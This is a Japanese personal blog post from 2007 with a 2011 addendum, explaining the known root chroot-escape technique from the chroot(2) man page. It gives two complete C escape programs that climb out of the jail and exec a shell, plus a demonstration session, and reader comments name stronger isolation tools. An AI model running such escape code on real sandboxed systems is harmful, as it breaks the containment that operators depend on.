仙石浩明の日記

2007年9月28日

chroot されたディレクトリから脱出してみる

要約すれば、 「chrootなんて簡単に抜けられるからセキュリティ目的で使っても意味ないよ。」 ってことね。そうだったのか。

そうだったのか orz

Note that this call does not change the current working directory, so that `.' can be outside the tree rooted at `/'. In particular, the super-user can escape from a `chroot jail' by doing `mkdir foo; chroot foo; cd ..'.
chroot(2) から引用

chroot するときは、そのディレクトリへ chdir しておくのが常識と 思っていたので気づいていなかった。 つまり、 故意にカレントディレクトリを chroot 外へもっていけば、 chroot されたディレクトリから抜け出せてしまう、ということ。

より正確に言えば、 chroot されたディレクトリの中で、 さらに chroot すれば、 その「親」chroot ディレクトリを抜け出せてしまう。 chroot がネストしないことを利用したテクニック、ということか。 逆に言えば、 chroot(2) 実行時にカレントディレクトリを chroot ディレクトリ下へ 強制的に移動させるか、 あるいは chroot がネストするようにすれば回避可能?

mkdir foo; chroot foo; cd ..

確かに本質はこの短いコードで言い尽くされているが、 こーいうのを見ると実地に試さずにはおれないので、コードを書いてみた。

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
#include <errno.h>
#define BUFMAX 256

int main(int argc, char *argv[]) {
    char buf[BUFMAX+1];
    sprintf(buf, "escape.%d", getpid());
    if (chdir("/") < 0) {
	printf("Can't chdir \"/\" errno=%d\n", errno);
	return 1;
    }
    if (mkdir(buf, 0755) < 0) {
	printf("Can't mkdir \"%s\" errno=%d\n", buf, errno);
	return 1;
    }
    if (chroot(buf) < 0) {
	printf("Can't chroot \"%s\" errno=%d\n", buf, errno);
	return 1;
    }
    if (rmdir(buf) < 0) {
	printf("Can't rmdir \"%s\" errno=%d\n", buf, errno);
	return 1;
    }
    if (!getcwd(buf, BUFMAX)) {
	printf("Can't getcwd errno=%d\n", errno);
	return 1;
    }
    printf("Now escaping from chrooted %s\n", buf);
    do {
	if (chdir("..") < 0) {
	    printf("Can't chdir \"..\" cwd=%s errno=%d\n", buf, errno);
	    return 1;
	}
	if (!getcwd(buf, BUFMAX)) {
	    printf("Can't getcwd errno=%d\n", errno);
	    return 1;
	}
    } while (buf[1] != '\0' && buf[0] == '/');
    if (chroot(".") < 0) {
	printf("Can't chroot \".\" errno=%d\n", errno);
	return 1;
    }
    argv++;
    execv(argv[0], argv);
    printf("Can't exec %s err=%d\n", argv[0], errno);
    return 0;
}

chdir / して、mkdir foo して、chroot foo して (rmdir foo して)、 その後に chdir .. でディレクトリ階層を上がれば抜け出せる。 言葉で書けば簡単だが、実際のコードを書こうとすると、 もう少し考えるべきことがあった。

すなわち、 抜け出した後、プログラムを終了してしまっては元の木阿弥であるので、 /bin/sh などを exec すべきであるし、 「本物」の / 下の /bin/sh をちゃんと実行するには、 「本物」の / へ chroot しなおす必要もある。 ここで注意すべきなのは、 「/」ディレクトリは元の chrooted なディレクトリのままという点だろう。 つまり chroot / してしまうと、 元の chrooted なディレクトリへ chroot してしまう (つまり何も変わらない)。

だから「/」を使わずに、 「chdir ..」で一段ずつディレクトリ階層を上っていって 「本物」の / にたどり着かねばならない。 上記コード中の while ループが「一段ずつ上っていく」処理である。 「本物」の / にたどりついたら chroot . する (くどいようだがここで chroot / してはいけない)。

試しに脱出してみる:

ikeda:/ # chroot /tmp/chroot /bin/sh
# ls -laR /
/:
drwxr-xr-x    3 0        0              29 Sep 28 17:05 .
drwxr-xr-x    3 0        0              29 Sep 28 17:05 ..
drwxr-xr-x    2 0        0              38 Sep 28 16:21 bin
-rwxr-xr-x    1 0        0         2111689 Sep 28 17:02 escape

/bin:
drwxr-xr-x    2 0        0              38 Sep 28 16:21 .
drwxr-xr-x    3 0        0              29 Sep 28 17:05 ..
-rwxr-xr-x    1 0        0         1392832 Sep  1 11:24 busybox
lrwxrwxrwx    1 0        0               7 Sep 28 16:21 ls -> busybox
lrwxrwxrwx    1 0        0               7 Sep 28 16:21 sh -> busybox
# ./escape /bin/sh
Now escaping from chrooted /tmp/chroot
sh-3.00# ls -la /tmp/chroot
total 2068
drwxr-xr-x 3 root root      29 Sep 28 17:05 .
drwxrwxrwt 8 root root    4096 Sep 28 17:05 ..
drwxr-xr-x 2 root root      38 Sep 28 16:21 bin
-rwxr-xr-x 1 root root 2111689 Sep 28 17:02 escape
sh-3.00#

2011年7月26日追記:

OpenVZ のゲストOS など、 一部のカーネルでは chroot の外で getcwd するとエラーが返るようだ。 chroot して getcwd するだけのテストプログラム test.c を書いてみる:

#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#define BUFMAX 256

int main(int argc, char *argv[]) {
	char buf[BUFMAX];
	if (!getcwd(buf, BUFMAX)) {
		printf("Can't getcwd errno=%d\n", errno);
		return 1;
	}
	printf("cwd=%s\n", buf);
	if (chroot("/var/empty") < 0) {
		printf("Can't chroot errno=%d\n", errno);
		return 1;
	}
	if (!getcwd(buf, BUFMAX)) {
		printf("Can't getcwd errno=%d\n", errno);
		return 1;
	}
	printf("cwd=%s\n", buf);
	return 0;	
}

chroot したディレクトリの 「外」 は、 いわば 「存在しない」 ディレクトリなわけで、 エラーになるのは理にかなっている。

chiyoda:~ $ uname -rv
2.6.18-194.3.1.el5.028stab069.6 #1 SMP Wed May 26 18:31:05 MSD 2010
chiyoda:~ $ cc -Wall test.c
chiyoda:~ $ fg
su      (wd: ~)
chiyoda:/ # ~sengoku/a.out
cwd=/
Can't getcwd errno=22

しかしながら、 セキュリティの観点から言うと getcwd がエラーになっても痛くも痒くもない。 カレントディレクトリを OS に教えてもらう必要など何もないから。 上記脱出プログラムは、 以下のように getcwd を使わずに書き直すことができる:

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
#include <errno.h>
#define BUFMAX 256

int main(int argc, char *argv[]) {
	char buf[BUFMAX+1];
	ino_t ino = 0;
	if (chdir("/") < 0) {
		printf("Can't chdir \"/\" errno=%d\n", errno);
		return 1;
	}
	sprintf(buf, "escape.%d", getpid());
	if (mkdir(buf, 0755) < 0) {
		printf("Can't mkdir \"%s\" errno=%d\n", buf, errno);
		return 1;
	}
	if (chroot(buf) < 0) {
		printf("Can't chroot \"%s\" errno=%d\n", buf, errno);
		return 1;
	}
	if (rmdir(buf) < 0) {
		printf("Can't rmdir \"%s\" errno=%d\n", buf, errno);
		return 1;
	}
	for (;;) {
		struct stat st;
		if (stat(".", &st) < 0) {
			printf("Can't stat errno=%d\n", errno);
			return 1;
		}
		if (st.st_ino == ino) break;
		ino = st.st_ino;
		if (chdir("..") < 0) {
			printf("Can't chdir \"..\" ino=%ld errno=%d\n",
			       ino, errno);
			return 1;
		}
	}
	if (chroot(".") < 0) {
		printf("Can't chroot \".\" errno=%d\n", errno);
		return 1;
	}
	argv++;
	execv(argv[0], argv);
	printf("Can't exec %s err=%d\n", argv[0], errno);
	return 0;
}
Filed under: プログラミングと開発環境 — hiroaki_sengoku @ 17:19

2件のコメント »

  1. BSD Jail LSMを使うとファイルシステム/プロセス/ネットワークを孤立化できます。
    http://kerneltrap.org/node/3823
    こちらはchrootと同じ方法では破れません。
    ただ、カーネル2.6.8.1用のパッチが出たきり、その後更新されていないのが残念ですが。

    コメント by tyatsumi — 2007年10月20日 @ 07:36

  2. Nature’s LinuxはVFSと呼んでいる仮想環境内からのchroot実行を制御できますよ。
    http://tech.n-linux.com/tcn00053

    コメント by Matthew — 2007年11月13日 @ 12:13

この投稿へのコメントの RSS フィード。

コメントする